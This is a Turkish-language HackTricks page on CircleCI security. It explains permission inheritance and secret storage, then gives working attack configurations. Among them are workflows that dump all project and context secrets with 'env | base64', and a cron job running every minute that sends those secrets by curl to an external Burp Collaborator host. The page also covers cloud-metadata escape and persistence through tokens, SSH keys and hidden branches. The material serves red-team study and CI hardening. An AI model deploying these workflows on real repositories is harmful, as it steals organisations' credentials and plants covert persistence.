CircleCI Güvenliği

Tip

AWS Hacking’i öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking’i öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE)
Az Hacking’i öğrenin ve pratik yapın: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks'i Destekleyin

Temel Bilgiler

CircleCI sürekli entegrasyon platformudur; burada ne yapmak istediğinizi ve ne zaman yapmak istediğinizi belirten şablonlar tanımlayabilirsiniz. Bu şekilde, örneğin, testleri veya dağıtımları doğrudan repo ana dalınızdan otomatikleştirebilirsiniz.

İzinler

CircleCI, giriş yapan hesap ile ilgili github ve bitbucket’tan izinleri devralır.
Testlerimde, eğer github’daki repo üzerinde yazma izinleriniz varsa, CircleCI’de proje ayarlarını yönetebileceğinizi (yeni ssh anahtarları ayarlamak, proje api anahtarlarını almak, yeni CircleCI yapılandırmaları ile yeni dallar oluşturmak…) kontrol ettim.

Ancak, repo’yu CircleCI projesine dönüştürmek için bir repo yöneticisi olmanız gerekir.

Env Değişkenleri ve Gizli Anahtarlar

belgelere göre, bir iş akışı içinde ortam değişkenlerine değer yüklemenin farklı yolları vardır.

Yerleşik env değişkenleri

CircleCI tarafından çalıştırılan her konteyner, her zaman belgelere tanımlanmış özel env değişkenlerine sahip olacaktır; örneğin CIRCLE_PR_USERNAME, CIRCLE_PROJECT_REPONAME veya CIRCLE_USERNAME.

Düz metin

Bunları bir komut içinde düz metin olarak tanımlayabilirsiniz:

- run:
name: "set and echo"
command: |
SECRET="A secret"
echo $SECRET

Çalışma ortamı içinde açık metin olarak tanımlayabilirsiniz:

- run:
name: "set and echo"
command: echo $SECRET
environment:
SECRET: A secret

build-job ortamı içinde açık metin olarak bildirebilirsiniz:

jobs:
build-job:
docker:
- image: cimg/base:2020.01
environment:
SECRET: A secret

bir konteynerin ortamında açık metin olarak tanımlayabilirsiniz:

jobs:
build-job:
docker:
- image: cimg/base:2020.01
environment:
SECRET: A secret

Proje Gizli Bilgileri

Bunlar yalnızca proje (her dal tarafından) erişilebilir olan gizli bilgilerdir.
Onları https://app.circleci.com/settings/project/github/<org_name>/<repo_name>/environment-variables adresinde tanımlanmış olarak görebilirsiniz.

Caution

Değişkenleri İçe Aktar” işlevi, diğer projelerden değişkenleri bu projeye içe aktarmaya olanak tanır.

Bağlam Gizli Bilgileri

Bunlar örgüt genelinde gizli bilgilerdir. Varsayılan olarak herhangi bir repo, burada saklanan herhangi bir gizli bilgiye erişebilecektir:

Tip

Ancak, farklı bir grup (Tüm üyeler yerine) belirli kişilere gizli bilgilere erişim vermek için seçilebilir.
Bu, gizli bilgilerin güvenliğini artırmanın en iyi yollarından biridir; herkesin erişmesine izin vermek yerine yalnızca bazı kişilerin erişmesine izin vermek.

Saldırılar

Açık Metin Gizli Bilgilerini Arama

Eğer VCS’ye (github gibi) erişiminiz varsa, her repo üzerindeki her dalın .circleci/config.yml dosyasını kontrol edin ve orada saklanan potansiyel açık metin gizli bilgileri için arama yapın.

Gizli Çevre Değişkenleri ve Bağlam Sıralaması

Kodu kontrol ederek, her .circleci/config.yml dosyasında kullanılan tüm gizli bilgi adlarını bulabilirsiniz. Ayrıca, bu dosyalardan bağlam adlarını alabilir veya bunları web konsolunda kontrol edebilirsiniz: https://app.circleci.com/settings/organization/github/<org_name>/contexts.

Proje gizli bilgilerini dışarı aktarma

Warning

Tüm proje ve bağlam GİZLİ BİLGİLERİNİ dışarı aktarmak için, tüm github örgütünde yalnızca 1 repo üzerinde YAZMA erişimine sahip olmanız yeterlidir (ve hesabınızın bağlamlara erişimi olmalıdır, ancak varsayılan olarak herkes her bağlama erişebilir).

Caution

Değişkenleri İçe Aktar” işlevi, diğer projelerden değişkenleri bu projeye içe aktarmaya olanak tanır. Bu nedenle, bir saldırgan tüm repo’lardan tüm proje değişkenlerini içe aktarabilir ve ardından hepsini birlikte dışarı aktarabilir.

Tüm proje gizli bilgileri her zaman işlerin ortamında ayarlanır, bu nedenle sadece ortamı çağırmak ve base64 ile obfuscate etmek, gizli bilgileri iş akışları web günlük konsolunda dışarı aktaracaktır:

version: 2.1

jobs:
exfil-env:
docker:
- image: cimg/base:stable
steps:
- checkout
- run:
name: "Exfil env"
command: "env | base64"

workflows:
exfil-env-workflow:
jobs:
- exfil-env

Eğer web konsoluna erişiminiz yoksa ama repo’ya erişiminiz varsa ve CircleCI’nin kullanıldığını biliyorsanız, sadece her dakika tetiklenen ve gizli bilgileri harici bir adrese sızdıran bir iş akışı oluşturabilirsiniz:

version: 2.1

jobs:
exfil-env:
docker:
- image: cimg/base:stable
steps:
- checkout
- run:
name: "Exfil env"
command: "curl https://lyn7hzchao276nyvooiekpjn9ef43t.burpcollaborator.net/?a=`env | base64 -w0`"

# I filter by the repo branch where this config.yaml file is located: circleci-project-setup
workflows:
exfil-env-workflow:
triggers:
- schedule:
cron: "* * * * *"
filters:
branches:
only:
- circleci-project-setup
jobs:
- exfil-env

Bağlam Gizli Bilgilerini Sızdırma

bağlam adını belirtmeniz gerekiyor (bu aynı zamanda proje gizli bilgilerini de sızdıracaktır):

version: 2.1

jobs:
exfil-env:
docker:
- image: cimg/base:stable
steps:
- checkout
- run:
name: "Exfil env"
command: "env | base64"

workflows:
exfil-env-workflow:
jobs:
- exfil-env:
context: Test-Context

Eğer web konsoluna erişiminiz yoksa ama repo’ya erişiminiz varsa ve CircleCI’nin kullanıldığını biliyorsanız, her dakika tetiklenen ve gizli bilgileri harici bir adrese sızdıran bir iş akışını sadece değiştirebilirsiniz:

version: 2.1

jobs:
exfil-env:
docker:
- image: cimg/base:stable
steps:
- checkout
- run:
name: "Exfil env"
command: "curl https://lyn7hzchao276nyvooiekpjn9ef43t.burpcollaborator.net/?a=`env | base64 -w0`"

# I filter by the repo branch where this config.yaml file is located: circleci-project-setup
workflows:
exfil-env-workflow:
triggers:
- schedule:
cron: "* * * * *"
filters:
branches:
only:
- circleci-project-setup
jobs:
- exfil-env:
context: Test-Context

Warning

Sadece bir repo içinde yeni bir .circleci/config.yml oluşturmak bir circleci build’ini tetiklemek için yeterli değildir. Bunu circleci konsolunda bir proje olarak etkinleştirmeniz gerekir.

Buluta Kaçış

CircleCI, build’lerinizi kendi makinelerinde veya kendi makinelerinizde çalıştırma seçeneğini sunar.
Varsayılan olarak, onların makineleri GCP’de bulunmaktadır ve başlangıçta ilgili bir şey bulamayacaksınız. Ancak, eğer bir kurban kendi makinelerinde (potansiyel olarak, bir bulut ortamında) görevleri çalıştırıyorsa, üzerinde ilginç bilgiler bulunan bir bulut metadata uç noktası bulabilirsiniz.

Önceki örneklerde her şeyin bir docker konteyneri içinde başlatıldığını unutmayın, ancak ayrıca bir VM makinesi başlatmasını isteyebilirsiniz (farklı bulut izinlerine sahip olabilir):

jobs:
exfil-env:
#docker:
#  - image: cimg/base:stable
machine:
image: ubuntu-2004:current

Ya da uzaktan bir docker hizmetine erişimi olan bir docker konteyneri:

jobs:
exfil-env:
docker:
- image: cimg/base:stable
steps:
- checkout
- setup_remote_docker:
version: 19.03.13

Süreklilik

  • CircleCI’de kullanıcı tokenleri oluşturmak API uç noktalarına kullanıcı erişimi ile erişmek için mümkündür.
  • https://app.circleci.com/settings/user/tokens
  • Proje tokenleri oluşturmak, token’e verilen izinlerle projeye erişmek için mümkündür.
  • https://app.circleci.com/settings/project/github/<org>/<repo>/api
  • Projelere SSH anahtarları eklemek mümkündür.
  • https://app.circleci.com/settings/project/github/<org>/<repo>/ssh
  • Her gün tüm context env değişkenlerini sızdıran beklenmedik bir projede gizli dalda bir cron işi oluşturmak mümkündür.
  • Ya da her gün tüm context ve projelerin gizli bilgilerini sızdıran bilinen bir işi bir dalda oluşturmak / değiştirmek mümkündür.
  • Eğer bir github sahibiyseniz, doğrulanmamış orb’leri izin verebilir ve bir işi arka kapı olarak yapılandırabilirsiniz.
  • Bazı görevlerde bir komut enjeksiyonu açığı bulabilir ve bir gizli değerini değiştirerek komutlar enjekte edebilirsiniz.

Tip

AWS Hacking’i öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking’i öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE)
Az Hacking’i öğrenin ve pratik yapın: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks'i Destekleyin